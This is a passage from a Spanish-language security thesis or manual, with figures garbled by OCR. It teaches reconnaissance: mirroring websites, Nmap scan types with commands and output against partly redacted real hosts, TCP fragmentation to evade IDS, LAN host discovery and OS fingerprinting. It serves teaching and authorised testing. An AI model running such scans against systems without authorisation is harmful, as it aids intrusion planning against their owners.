una pagina web, se visualiza en las columnas: El numero de salto, la IP del nodo por el cual se
atraviesa, el nombre del Host por donde esta pasando el paquete, el Pais y la ciudad donde se

encuentra la direccion IP analizada y el tiempo que se demora el paquete en pasar por el nodo.

Figura 4.16 Mapa Traceroute - GeoSpider.
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4.1.7 Copia de Sitios Web.

Se puede realizar una copia completa de un sitio web para poderla analizar offline, esto es
una técnica muy recomendable ya que si los administradores del sitio no han tomado los
resguardos necesarios esta practica puede bajar informacion confidencial de la empresa. Para

esto existen herramientas que ayudan a realizar una copia de una pagina web.

» BlackWindows.
Es un software que permite escanear cualquier sitio web para luego descargar una copia del
mismo, cabe mencionar que este programa permite realizar una copiar de la estructura exacta

de la pagina web permitiendo explorar cada uno de los sectores de la web.

i BlackWidow It

| Filters ‘ Q Scanner

/8 Locating the site or page to scan.

@Link Errors ’ ;jEmails ’ ':ia Ext Links I ::_] Structure ‘ a NetSpy ‘ ymut

Use the browser to navigate to the site or page you would like to scan. Optionally, you may need to login to the site before you scan. Then proceed to the Filters to
@ control the scanning process.
(5) Address: T/ L con]
et -~

2y 1
w5

Refresh
Home

View Source

®

SnapShot

Figura 4.17.1 Manejo de BlackWindows - Windows.

En la figura 4.17.1 se ingresa la pagina web que se desea descargar, luego de iniciar la
descarga se puede analizar parcialmente los resultados que va presentando la herramienta en
las diferentes opciones que se encuentran en la parte superior de la figura pudiendo observar el

escaneo realizado.
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gsrowse( | Filters | QScanner ‘ @L'nkErmrs ‘ QEmails ‘EﬁaExtLirks “ a NetSpy ‘ ‘;i)About

{ _] Site Explorer - Viewing the structure and files of the site

Like Windows Explorer, Site Explorer Ist all the files and directories found by the scanner. Keep in mind that the Fiters decide what is Isted here, This is only a structure,
D The files listed here have yet to be downloaded, urless you have selectad to download while it scars. To cownlozd, select one or more files from ore or more directory and
Clear dick on the Dowrnload button. fou can also szlect a folder to download its content instzad.

You can save this structure to 5 .web file and reload it later to continue scanning or downloading. Share your .web file with others so they wil not have to re-scan the site
and go straight to dowrloading the listed files.

=] U hitp:// Name Size Modified Mime/... Referer |
—— xR [ a—— R [ : 4,543 0 2:3259PM m A
e [ captcha.php?tipo=conta... 4,464 2:3%50PM imagefaf  htip:/fwww + .comfcontacto.pt] | |
Powrioad |84 captcha.php?tino=libro 4,561 2:33:43PM  image/cif http:jfnwe comlibro.php?d
A || carrito.php 8,296 2:29:05PM text/html & http:/fwwe .com/
|| carrito.php?idibro=10295 197,056 2:39:34PM  text/himl http:/fwww .com/flibro.php?d
@ || carrito.php?idibro=10320 107,040 2:35:19PM  text/html http: jfwww .com/flibro.php?d
pen || carrito.php?idibro=10446 195,09 2:39:24PM  text/html http: /fwww .comflibro.php?d
— || carrito,php?idlibro=10453 197,710 2:39:37PM  text/html http:/fwaw +.com/libro.php?d
H || carrito.php?idibro=11135 199,665 2:39:45PM  text/himl http: /fwww «.com/flibro.php?d
Save || carrito.php?idiibro=11208 206,846 C :40:19PM  text/html http: /fwww + w.comflibro.php?d
_ || carrito.php?idibro=11263 198,358 2:39:40PM  text/html http:/fanw %.com/libro.php?d
E' || carrito.php?idiibro=11307 200,321 2:39:49PM  text/html http:/fwww %.com/libro.php?d
e ... || carrito.php?idlibro=11615 206,197 140:16PM  text/html http:/fwwwe ».com/libro.php?d
T || carrito.php?idiibro=11702 195,743 1 2:39:28PM  text/html http: /fwww «.com/libro.php?d
|| carrito.php?idlibro=11823 29,580 2:33:50PM  text/html http:jfaww * w.comflibro.php?d
@ || carrito.php?idiibro=11869 200,982 2:39:51PM  text/html http:/fwww + w.comflibro.php?d
Export | | carrito.php?idibro=11874 187,844 2:38:45PM  text/html http: /fwww. .com/libro.php?d
|| carrito.php?idibro=11875 205,557 X 2:40:12PM  text/html http:jfwww com/libro.php?d
|| carrito.php?idiibro=12327 196,403 2:39:31PM  text/himl http:/fwww. com/libro.php?d
|| carrito.php?idibro=12616 202,957 2:40:00PM  text/html http: /fwww. i . com/libro.php?d ~

N

ur | )

Folders: 7 | Files:1,689 | Bytes: 71,591,356 | Selected:1 | Selected Bytes: 4,549

Figura 4.17.2 Resultado de BlackWindows - Windows.

En la figura 4.17.2 se observa el resultado de una pagina web descargada consiguiendo
analizar toda su estructura, cada archivo, foto, link y documento que no ha sido protegido este

software lo descarga para analizarlo minuciosamente en busca de vulnerabilidades.
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4.2 SCANNING.

4.2.1. Definicién.

Es el segundo paso en el proceso que comprende un Information Gathering. A continuacién se
detalla los objetivos principales que deben realizarse en esta fase:
» Obtener direcciones IP de un objetivo.
Detectar sistemas activos conectados en una red.
Descubrir que puertos estan activos en los sistemas.

Detectar vulnerabilidades en los sistemas encontrados.

YV V V V

Descubrir las versiones de los sistemas operativos y de sus servicios.

4.2.2. Tipos de Scanning.

Port Scanning: Su principal objetivo es identificar los puertos abiertos y el servicio asociado a
dicho puerto.
» Network Scanning: Tiene como objetivo identificar los hosts activos en una red.
> Aplication Scanning: Su funcién es identificar los servicios y aplicaciones que estan
corriendo detras de cada puerto.
» Vulnerability Scanning: Detecta las vulnerabilidades asociadas en los sistemas

analizados en una red.

4.2.3. Técnicas de Port Scanning.

El escaneo de puertos es la accién de analizar por medio de un software el estado de los

puertos de una maquina conectada a una red detectando si un puerto esti abierto, protegido
por un firewall o cerrado. Segun el caso se logra descubrir los servicios que se estan
procesando y el sistema operativo que se estd ejecutando en el host objetivo. Existen
diferentes metodologias de Port Scanning, estas técnicas seran puestas en practica con el
software Nmap.
Antes de iniciar el analisis con Nmap hay que tener claro el concepto de los Flags TCP ya que
estos indican un status o condicién de una conexion y son de suma importancia al momento de
entender el funcionamiento de las técnicas de escaneo. A continuacion se presentan los Flags
mas importantes:

» ACK (Acuse de Recibo): Sirve de confirmacién de un paquete recibido.

» RST (Reset): Cuando se envia un paguete con el Flag RST activado, se indica al otro

extremo de la conexion que ha existido algun problema con la sincronizacion de la
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conexion teniendo que cerrarse y volverse a iniciar para sincronizar correctamente las
partes.

» SYN (Sincronizacion): Utilizado para indicar un intento de una nueva conexion.

» FIN (Finalizacion): Indica al otro host que se desea cerrar la conexion, quedando a la
espera de que el otro host también esté listo para cerrar la conexion.

Para poder analizar correctamente los resultados obtenidos de las diferentes consultas de
escaneo se necesita conocer los puertos TCP-UDP mas frecuentes, entre los mas utilizados

estan:

PUERTO PROTOCOLO SERVICIO
21 FTP(Protocolo de transferencia de ficheros) TCP
22 SSH (Interprete de ordenes seguras) TCP
23 TELNET (Manejo remoto de equipo) TCP
25 SMTP (Protocolo Simple de transferencia de Correo) TCP
53 DNS (Sistema de nombre de dominio) TCP/UDP
63 Whois (Servicios extendidos Whois) TCP
80 HTTP (Protocolo de Transferencia de Hipertexto) TCP
110 POP3 (Post Office Protocol) TCP
161/162 | SNMP ( Protocolo Simple de Administracion de Red) uDP
1433/1434 | MSSQL (Microsoft SQL Server / Monitor) TCP

Tabla 4.1 Puertos y Protocolos mas comunes.
Los puertos estan clasificados en tres categorias:
e Puertos de 0 al 1023 son los llamados “Puertos conocidos”.
e Puertos del 1024 al 49151 son “puertos registrados”.
e Puertos del 49152 al 65535 son “puertos privados.”

> NMAP.

Es un programa de cddigo abierto que es utlizado para la deteccién y auditoria de
seguridad de puertos. Es usado comuinmente para evaluar la seguridad de sistemas
informaticos, también es usado para realizar un inventario dentro de la red y supervisién de
hosts. Entre sus principales caracteristicas estan: Identificar los hosts disponibles, los puertos
abiertos en un host objetivo, determinar qué servicios se estan ejecutando, conocer que
sistema operativo y la version que utiliza dicho host. (http://www.nmap.org parr 2)

Cabe recalcar que un puerto se puede presentar de tres maneras:

e Open: El puerto es accesible.
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e Closed: El puerto no es accesible.

e Filtered: El puerto no es accesible ya que un firewall filtra el puerto.

A continuacién se detallan las diferentes técnicas de Port Scanning basandose en la IP
de una pagina web:

» TCP Connect (): Es utilizado para el establecimiento de una conexion con cada uno de los
puertos del host objetivo. En el caso que el objetivo responda a la peticién se considera que
el puerto esté abierto, en el caso de recibir una alerta de cierre de conexiéon (RST) el puerto
estara cerrado y si no recibe respuesta se presume que el puerto esta en modo silencioso.

Comando: nmap —vv —PO -sT IP_Objetivo

root@onc: ~ - dnNell - Nmap
Session Edit View Bookmarks Settings Help

|root@bt:~# nmap -vv -PO -sT 201.212.

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-09-11 21:14 EDT
Initiating Ping Scan at 21:14

Scanning 201.212. [3 ports]

Completed Ping Scan at 21:14, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:14

Completed Parallel DNS resolution of 1 host. at 21:14, 0.42s elapsed
Initiating Connect Scan at 21:14

Scanning mail. com (201.212. ) [1600 ports]
Discovered open port 80/tcp on 201.212.

Discovered open port 3306/tcp on 201.212

Discovered open port 993/tcp on 201.212

Discovered open port 22/tcp on 201,212.

Discovered open part 110/tcp on 201.212.

Discovered open port 587/tcp on 201.212.

Discovered open paort 143/tcp on 201.212.

Discovered open port 995/tcp on 201.212.

Discovered open port 84/tcp on 201,212.

Discovered open port 7025/tcp on 201.212.

Discovered open port 7777/tcp on 201.212.

Discovered open part 10000/tcp on 201.212.

Increasing send delay for 201.212 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 465/tcp on 201.212,

Discovered open part 5222/tcp on 201.212.

Discovered open part 5269/tcp on 201.212.

Completed Connect Scan at 21:14, 34.50s elapsed (1000 total ports}
Nmap scan report for il .com (201.212.

Host is up (©.18s latency).

Scanned at 2012-09-11 21:14:13 EDT for 35s

Not shown: 978 closed ports

Figura 4.18 Consulta nmap TCP Connect - Linux.

En la figura 4.18 se realiza una consulta con Nmap donde se muestra los puertos descubiertos

de una pagina web. A continuacion se detalla cada una de las opciones utilizadas:

e -vv: Aumenta el nivel de detalle en los resultados obtenidos.

e -PO: Asume que todos los objetivos estan vivos para realizar la consulta.
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e -ST: Es la llamada del sistema connect () usado para establecer una conexiéon con los

puertos.

» TCP SYN: Esta técnica es parecida a la anterior con la diferencia de que no establece

completamente una conexion. Su funcionamiento es el siguiente: Envia un paquete SYN

gue finge establecer una conexién y espera una respuesta, luego si recibe un paquete

SYN/ACK significa que el puerto se encuentra abierto, si recibe un paquete RST quiere

decir que el puerto esta cerrado y si no recibe ninguna respuesta asume que se encuentra

en modo silencioso, en sistemas sin IDS o firewall este escaneo suele pasar

desapercibido.

Comando: nmap —vv —PO -sS IP_Objetivo

TOULWEL: — = oneir - Nimnap

iSession: Edit View Bookmarks Settings Help

:~# nmap -vv -PO -sS 201.212.

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-09-11 21:25 EDT
Initiating Ping Scan at 21:25

Scanning 201.212. [3 ports]

Completed Ping Scan at 21:25, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25

Completed Parallel DNS resolution of 1 host. at 21:25, 0.02s elapsed
Initiating SYN Stealth Scan at 21:25

Scanning mail. com (201.212 ) [1006 ports]
Discovered open port 22/tcp on 201.212.
Discovered open port 110/tcp on 201.212.
Discovered open port 80/tcp on 201.212
Discovered open port 3306/tcp on 201.212
Discovered open port 993/tcp on 201.212.
Discovered open port 587/tcp on 201.212
Discovered open port 143/tcp on 201.212
Discovered open port 995/tcp on 201.212.
Increasing send delay for 201.212

probes since last increase.

Discovered open port 7777/tcp on 201.212
Discovered open port 84/tcp on 201.212.
Discovered open port 465/tcp on 201.212.
Discovered open port 10000/tcp on 201.212

from 6 to 5 due to 25 out of 83 dropped

Discovered open port 7025/tcp on
Discovered open port 5269/tcp on
Discovered open port 5222/tcp on
Completed SYN Stealth Scan at 21
Nmap scan report for mail.

Host 1s up (0.16s latency).
Scanned at 2012-09-11 21:25:49 ED
Not shown: 978 closed ports

Figura 4.1

201.212.
201.212.
201.212.

:26, 25.80s elapsed (1000 total ports)

com (201.212.

T for 26s

9 Consulta Nmap TCP SYN (Linux).

En la figura 4.19 se puede apreciar el resultado de la consulta sobre una pagina web, en este

ejemplo se usa el siguiente comando:
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e —sS: No abre una conexién TCP completa. Unicamente envia un paquete SYN a la
espera de un SYNJACK para posteriormente enviar un RST indicando el cierre de
conexion para con esto evitar que se complete el inicio de conexién e impedir que el

sistema registre el intento de conexion.

» TCP FIN: En uno de los escaneos mas discretos que se puede aplicar. Esta técnica envia
un paquete FIN al host objetivo. En los estadndares TCP/IP se establece que si se recibe un
paquete FIN en un puerto cerrado este respondera con un paquete RST, si se recibe un
paquete RST como respuesta se asume que el puerto esta cerrado, caso contrario si no se
recibe repuesta el puerto puede estar abierto o silencioso. Uno de los inconvenientes con
esta técnica es que no se consigue determinar con exactitud el estado de un puerto ya que
si no se recibe un paquete de respuesta este pudiera estar en modo silencioso o abierto.

Para realizar esta consulta en Nmap se tiene que utilizar el siguiente comando:

Comando: nmap —vv —PO -sF [P_Objetivo

root@bt: ~ - Shell - Nmap
Session Edit View Bookmarks Settings Help

root@ht:~# nmap -vv -PO -sF 201.212

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-09-11 22:04 EDT
Initiating Ping Scan at 22:04

Scanning 201.212. [3 ports]

Completed Ping Scan at 22:04, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:04

Completed Parallel DNS resolution of 1 host. at 22:04, 0.02s elapsed
Initiating FIN Scan at 22:04

Scanning mail. com (201.212. ) [1000 ports]

FIN Scan Timing: About 21.05% done; ETC: 22:06 (0:01:56 remaining)
(

FIN Scan Timing: About 41.55% done; ETC: 22:06 (0:01:26 remaining)

FIN Scan Timing: About 62.55% done; ETC: 22:06 (0:00:54 remaining)

Completed FIN Scan at 22:06, 145.50s elapsed (1000 total ports)

Nmap scan report for mail. com (201.212. )

Host is up (0.14s latency).

All 1000 scanned ports on mail .com (201.212. ) are open|filter
ed

Read data files from: /usr/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 145.79 seconds
Raw packets sent: 2003 (80.076KB) | Rcvd: 1 (28B)

root@bt:~# |

Figura 4.20 Consulta Nmap TCP FYN - Linux.

En la figura 4.20 se visualiza la consulta TCP FYN sobre una pagina web obijetivo.
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e -sF: Este comando lo que permite es que los puertos cerrados respondan con un paquete

RST. Este tipo de escaneo no funciona en sistemas Windows por consiguiente es una

buena forma para diferenciar la plataforma que esta utilizando el objetivo.

» UDP Scan. Es una técnica orientada al protocolo UDP, envia un paquete UDP vacio a él o

los puertos, si el puerto se encuentra cerrado el sistema respondera con un paquete ICMP

de tipo 3 (Destino Inalcanzable). En caso de no responder se asume que el puerto puede

estar abierto o silencioso. Para utilizar esta técnica se utiliza el siguiente comando en

Nmap.

Comando: nmap —vv —sU

IP_Obijetivo

roor@nr: ~ - snel - Konsorle

Session Edit View Bookmarks Settings Help
ETC: 21:22 (0:11:34 remaining)

UDP Scan Timing: About 8.08% done;

root@bt:~# nmap -vv -sU 201.212

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-09-30 21:11 ECT
Initiating Ping Scan at 21:11
Scanning 201.212.
Completed Ping Scan at 21:11, 0.51s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:11

Completed Parallel DNS resolution of 1 host. at 21:11, 0.12s elapsed

[4 ports]

Initiating UDP Scan at 21:11
Scanning mail.corpuslibros.com (201.212

Increasing send
Increasing send
Increasing send

upp

Scan Timing:

Increasing send
Increasing send

upp
ubp
ubpP
upp
ubp
UDP
ubp

Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:

Discovered open

ubp
ubp
UbpP
ubpP
ubpP
upp
ubp

Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:
Scan Timing:

delay for 201.212.
delay for 201.212.
delay for 201.212.
About 4.43% done;
delay for 201.212.
delay for 201.212.
About 8.27% done;

About
About
About
About
About
About

12
22

.84% done;
.00% done;
28.
33.
40.
45.

14% done;
97% done;
31% done;
54% done;

ETC:

ETC:

ETC:
ETC:
ETC:
ETC:
ElC:
ETC:

from
from
from
21:23
from
from
21:24

21:
205
213
21:
272
21:

port 10000/udp on 201.212.

About
About
About
About
About
About
About

50.
56.
61.
66.
Tz
76.
.36% done;
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93% done;
24% done;
47% done;
70% done;
84% done;
97% done;

ETC:
ETC:
ETC:
ETC:
ETC:
ETC:
ETC:

21:
27;
215
127
21:
21:
27

21

21

25
26
26
27
27
27

217
27
27

27
27

) [1000 ports]
0 to 50 due to 11 out of 18 dr
50 to 100 due to max_ successfu
100 to 200 due to max successf
(0:11:09 remaining)
200 to 400 due to 11 out of 17

400 to 800 due to 11 out

(0:11:50 remaining)

(0:
(0:
(0:
(0:
(O:
(0:

(CH
(0:
(0:
(CH
(0:
(O:
(0:

12:
2 1 I
i [ -
10:
09:
08:

07:
+99
06:
05:
04:
03:
02:

06

40
56
09
20
E{0]
41

49

09
20
31
42
52

remaining)
remaining)
remaining)
remaining)
remaining)
remaining)

remaining)
remaining)
remaining)
remaining)
remaining)
remaining)
remaining)

Figura 4.21.1 Consulta Nmap UDP SCAN - Linux.

of 11
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root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

UDP Scan Timing: About 82.36% done; ETC: 21:27 (0:02:52 remaining)
UDP Scan Timing: About 87.37% done; ETC: 21:27 (0:02:03 remaining)
UDP Scan Timing: About 92.41% done; ETC: 21:27 (0:01:14 remaining)
Completed UDP Scan at 21:28, 1008.42s elapsed (1000 total ports)
Nmap scan report for mail. .com (201.212 )

Host is up (0.22s latency).

Scanned at 2012-09-30 21:11:23 ECT for 1009s

Not shown: 992 closed ports

PORT STATE SERVICE

53/udp open|filtered domain

135/udp  open|filtered msrpc

137/udp  open|filtered nethios-ns

138/udp  open|filtered netbios-dgm

139/udp  open|filtered netbios-ssn

445/udp  open|filtered microsoft-ds

1900/udp open|filtered upnp

10000/udp open unknown

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1009.13 seconds

Raw packets sent: 1359 (40.299KB) | Rcvd: 1073 (59.031KB)
root@bt:~#

()| = shell |

Figura 4.21.2 Consulta Nmap UDP SCAN - Linux.

¢ sU: Comando usado para saber que puertos UDP estan abiertos.

En las figuras 4.21.1 y 4.21.2 se logra apreciar la consulta Udp Scan, la pagina web no
respondi6 a esta peticion de conexién es por ello que esta técnica asume que el puerto puede

estar abierto o silencioso.

» ACK Scan. Se encarga de identificar cuando un puerto se encuentra en modo silencioso.
Envia paguetes ACK con numeros de secuencia y confirmacién de forma aleatoria.
Cuando se recibe el paquete, si el puerto se encuentra abierto o cerrado respondera con
un paquete RST, pero si no se obtiene respuesta se podra identificar con exactitud que el
puerto esta filtrado. En la mayoria de ocasiones el ACK Scan se realiza como apoyo a un

escaneo anterior.

Comando: nmap —=vv —sA IP_Objetivo
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rooT@pt: ~ - Sneill - Konsotke

Session Edit View Bookmarks Settings Help

Nmap done: 1 IP address (1 host up) scanned in 228.79 seconds
root@bt: -# nmap -vv -sA 201.212

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-09-30 21:06 ECT
Initiating Ping Scan at 21:06

Scanning 201.212. [4 ports]

Completed Ping Scan at 21:06, 0.25s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:06

Completed Parallel DNS resolution of 1 host. at 21:06, 0.13s elapsed
Initiating ACK Scan at 21:06

Scanning mail. .com (201.212.135.15) [1000 ports]

ACK Scan Timing: About 32.36% done; ETC: 21:08 (0:01:05 remaining)
Completed ACK Scan at 21:08, 91.63s elapsed (1000 total ports)
Nmap scan report for mail. com (201.212.135.15)

Host is up (0.42s latency).

Scanned at 2012-09-30 21:06:38 ECT for 92s

Not shown: 994 unfiltered ports

PORT STATE SERVICE

53/tcp filtered domain

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

1080/tcp filtered socks

3128/tcp filtered squid-http

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 92.10 seconds
Raw packets sent: 1201 (48.032KB) | Rcvd: 1094 (43.748KB)

[=)| = shen |

Figura 4.22 Consulta Nmap UDP SCAN - Linux.

¢ -sA: Utiliza mensajes ACK para lograr que un sistema responda y asi determinar el estado
de un puerto.

En la figura 4.22 se observa los puertos que se encuentran filtrados de la pagina web objetivo.

Las técnicas descritas anteriormente son las mas utilizadas al momento de realizar un escaneo
de puertos con Nmap. A continuacion se describe una técnica para poder ocultar los escaneos

de puertos.

»Fragmentacion TCP.

Es una técnica de ocultamiento del scanning que puede ser utilizada con cualquier técnica
descrita anteriormente, consiste en fragmentar la cabecera TCP en fragmentos mas péquenos.
Tiene como ventaja que la mayoria de IDS detectan escaneos de puertos mediante sistemas
de firmas por lo que al dividir las cabeceras se logra evadir este control. En ciertos casos
existen inconveniente al momento de visualizar los resultados de las consultas ya que cuando

se intenta reensamblar los paquetes fragmentados algunos hosts no lo resuelven de la manera
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adecuada provocando resultados incoherentes. Para poder aplicar esta técnica en Nmap se
utiliza el siguiente comando, ejecutando un escaneo (SYN):

Comando: Nmap —vv —PO —sS —F IP_objetivo

» Herramientas para realizar escaneos.

Existen varios programas que se utilizan para realizar un escaneo de red y a su vez escanear
puertos. A continuaciéon se presentan dos herramientas que realizan un escaneo para la

deteccion de los puertos en una red LAN.
e Angry IP Scanner.

Es una herramienta de codigo abierto y multiplataforma que permite realizar un escaneo de
red y monitorear el estado de las direcciones IP de la misma analizando cualquier IP para
verificar si responde y ademas resuelve el nombre del host. Utiliza diferentes hilos de conexion
para cada IP para reducir el tiempo de espera mostrando la informacién general acerca del PC,
como: El nombre de la maquina, el grupo de trabajo y nhombre del usuario que esta conectado.
(http://mww.angryip.org Parr 1)

A continuacion se presenta un ejemplo de su funcionamiento:

f HE]
IPrange: | 10 . 10 . 8 . 1 to| 10 . 10 . 8 . 254 @start| _
Hostname: [winxp84 1P @“i B | EE | Thieads 5
o i o2 slnae =Y ~
10.10.81 =
Al IP Scanner

@ 101082 o Sy
@ 101053 D Ql;% Scanning finished
. 10.10.8.4 D st AB sec. 0.181 ssclhost
@ 101085 4 10.10.8.1-10.10.8.254
@& 101086 D
. 101087 D IF'§ scanned: 254

Assany Alive hosts: 54
@ 101088 D
@ 01083 D
@ 1010810 D
@ 1010811 D
@ 1010812 D ~
Ready

Figura 4.23 Manejo de Angry IP Scanner - Windows.

En la figura 4.23 se visualiza el escaneo de un rango de IPs de una Red LAN dando como

resultado 54 Host Vivos.
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IPrange: | 10 . 10 . &8 . 1 to ' 0 .10 . 8 . 254 @ start
Hostname: ]winxde LP*_QAJ @d :g' EE | Threads 1] Ig
¥ Scan ports _LJZD-EOD
P 1 | Ping @ i | Hostna... il
Q) 1010871 156 ms ~_ ACER-PC

@ 10108252 751 ms BELU-PC
$10.10.8.108 o GABRIELA-PT Details
. 10.10.8.174 dinis ‘ 1SA-PC Secanned info: Open ports:

it N JP: 10.10.8.108
@ 10.10.8.87 92 ms MACBOOKPRO- TN
SN e R ’ Ping: 33 ms
- TN
Hosthame: GABRIELA-P
: t T
@ 10108179 8ms PROMCSPBAT... Open ports: 135,139,445
g 135 Tnnnnm—n—m

@ 10102192 4 me PABLD

@ 101088 0 ms  winupBa

@ 0io0s) & ms N/A

@ 101082 Dead , N/S

@ 101083 Dead N/S
@ 101054 Qéad - N/S
@ 101085 L);ad . N/S
@ 101086 ‘[')é;d" o N/S
@ 101087 iaums

S

Dad:

Dead .

Dead s

Figura 4.24 Angry IP Scanner - Escaneo de Host Vivos - Windows.

En la figura 4.24 se observa los host encontrados dentro de una red LAN de los cuales los host
gue estdn de color verde son aquellos que tienen puertos abiertos, al dar doble clic sobre
cualquiera de estos se consigue visualizar su IP, el tiempo de respuesta, el nombre del equipo

y los puertos que se encuentran abiertos.

¢ MegaPing.
Es una herramienta que se encarga de analizar cada uno de los puertos de una maquina,
pudiendo encontrar que puerto se encuentra abierto o cerrado. También presenta las
direcciones IP e incluso escanear los dominios entre otras muchas posibilidades. A

continuacion se presenta un ejemplo sobre una red LAN.
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%5 MegaPing (Unregistered)

File View Tools Help
22 83aay 2D LY 812
3, DNS List Hosts
ig‘ DNS Lookup Name rg Port Scanner
&% Finger
Ketwork T - .
9;8 ;;;xo‘k LS ‘ (,—y Port Scanner ,3“;! Port Scanner Settings
83 Traceraute Destination: Protocels: \ v/
‘. etwork Resources Seanlyps: j-mhotzep Potts v ﬂ]
& Process Info
B) System Info |
& IP Scanner 1
ﬁ% NetBIOS Scanner
¥ Share Scanner
@ Security Scanner
“,_V Port Scanner
i3 Host Monitor
Results
Ports Type Keyword Description Risk.
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Figura 4.25 MegaPing - Analisis host vivos - Windows.

En la figura 4.25 se selecciona la opcion “Port Scanner” y a continuacién se ingresa la direccion
IP que se desea analizar dentro de una LAN encontrando que este host tiene abiertos varios
puertos, ademas se observa la descripcidn de cada puerto y el tipo de riesgo que corre la

magquina con cada uno de los puertos encontrados.

4.2.4. Fingerprinting de Sistemas Operativos.

Es una técnica de escaneo que permite saber qué sistema operativo esta corriendo en una
direccién IP, es de mucha importancia ya que antes de realizar cualquier ataque se tiene que
conocer con seguridad que sistema operativo esta ejecutando el host objetivo para direccionar
a ese sistema las diferentes pruebas ya que tanto Windows como Linux responde de una

manera diferente a las pruebas de seguridad.

Existen dos formas de intentar descubrir que sistema operativo esta corriendo en el host

objetivo: Test Activo y Test Pasivo.
» Test Activo.

Este test realiza un andlisis de la respuesta de paquetes TCP y UDP enviados a un servidor

objetivo, una de sus ventajas es que al enviar paquetes sobre el objetivo se tiene variedad de
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resultados del test pero esto produce que pudiera ser detectado como mayor facilidad por los
dispositivos de seguridad del host ya que realiza una comunicacion directa con el servidor
obijetivo.

En la herramienta Nmap se realiza la deteccion del sistema operativo con la siguiente linea
de comandos:

Sintaxis: Nmap —vv —PO -O |P_objetivo
e Andlisis a una Pagina web.

TUULE L ™~ = DS - RUIES U

Edit View Bookmarks Settings Help

STATE SERVICE

open ssh

open smtp

filtered domain

open http

open ctf

open pop3

filtered msrpc

filtered netbios-ssn

open imap

filtered microsoft-ds

open smtps

open submission

open imaps

open pop3s

filtered socks

filtered squid-http

open mysqgl
5222/tcp open unknown
5269/tcp open unknown
7025/tcp open unknown
7777/tcp open unknown
16000/tcp open snet-sensor-mgmt
Device type: WAP|general purposelbroadband router|webcam|router
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (91%), Linksys Linux 2.4.X (90%), AX
IS Linux 2.6.X (87%), D-Link embedded (87%), Linksys embedded (87%), Peplink emb
edded (87%)
0S fingerprint not ideal because: Host distance (14 network hops) is greater tha
n five
Aggressive 0S guesses: OpenWrt Kamikaze 7.09 (Linux 2.6.22) (91%), Linux 2.6.22
(Fedora Core 6) (90%), OpenWrt White Russian 0.9 (Linux 2.4.30) (90%), OpenWrt ©
.9 - 7.09 (Linux 2.4.30 - 2.4.34) (90%), Linux 2.6.9 - 2.6.18 (87%), Openwrt Kam
ikaze 8.09 (Linux 2.4.35.4) (87%), OpenWrt Kamikaze 2.09 (Linux 2.6.25 - 2.6.26)

(87%), Linux 2.6.23 - 2.6.32 (87%), Linux 2.6.31 (87%), Linux 2.6.9 - 2.6.27 (8

7%)
No exact 0S matches for host (test conditions non-ideal).

Figura 4.26 Deteccion del Sistema Operativo de un Sitio Web - Linux.
e -O: Activa el sistema de deteccién del sistema operativo

En la figura 4.26 se realiza una deteccién del sistema operativo que se encuentra corriendo
sobre una pagina web dando como resultado: los puertos, el estado y el servicio que se estan
corriendo en cada uno de los puertos, en la parte inferior de la figura se observa que el sistema

operativo que esta corriendo es: Linux (Fedora Core 6).
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e Andlisis a un host dentro de una red.

root@bt: ~ - Shell - Konsole

STATE SERVICE

open msrpc
open netbios-ssn
open microsoft-ds
open rtsp

open 1icslap

open unknown
10243/tcp open unknown
49158/tcp open unknown
MAC Address: 00:26:5E:F7:AC:6F (Hon Hai Precision Ind. Co.)
Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
0S details: Microsoft Windows Vista SPO or SP1, Server 2008 SP1, or Windows 7

Figura 4.27 Deteccion del Sistema Operativo de un Host — Red LAN (Linux).

En la figura 4.27 se aprecia una consulta sobre un host en una red LAN obteniendo como
resultado: Los puertos, el estado y el servicio de cada uno de ellos, ademas se visualiza el
sistema operativo que esta corriendo en esta maquina teniendo como resultado: Microsoft
Windows Vista.

> Test Pasivo.

A diferencia del método activo este se caracteriza por limitarse a escuchar las conexiones
generadas por el sistema objetivo y en base a la respuesta que resuelva cada conexion se
intenta identificar el sistema operativo, este sistema de escaneo es mucho mas silencioso y es
mas dificil de ser detectado por los administradores del sistema. A continuacion se presenta un
ejemplo con la herramienta Ettercap.

e Ettercap: Es una herramienta que permite capturar el trafico que circula por una red,
también permite la creacion de filtros de contenido. Es compatible con varios protocolos
para realizar la captura en modo activo o pasivo. Esta herramienta puede correr tanto en

Linux como en Windows. (http://www.ettercap.github.com Parr 1)
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Start Targets Hosts View Mitm Filters Logging Plugins Help

Profiles %
| 1P Address | Hostname =
10.10.15.27
10.10.15.185

Profile Dotails

IP Address: 190.95

Hostname: www.s com
Distance: 15
Type: REMOTE host =
i Sl =
Fingerprint: 16A0:05B4:40:07:1:1:1:1:A:3c  [[LtoHostList|| DumptoFile |
Operating System: Linux.2.4.20-webh100 1 [4]
Port: TCP 80 | http [Apache] 5

JI0.0 GW 10.10.8.1 DNS 10.10.8.1

1y ]

'Close |

Figura 4.28 Escaneo Pasivo a un Sitio Web con Ettercap — Linux.

En la figura 4.28 se muestra un escaneo pasivo realizado con la herramienta Ettercap, lo
primero que se debe hacer es poner en modo de escucha al software y luego de ello realizar
una navegacion por el sitio web objetivo, con esto Ettercap ira resolviendo que sistema
operativo esta corriendo en dicho servidor. Como resultado de este analisis se detecté que
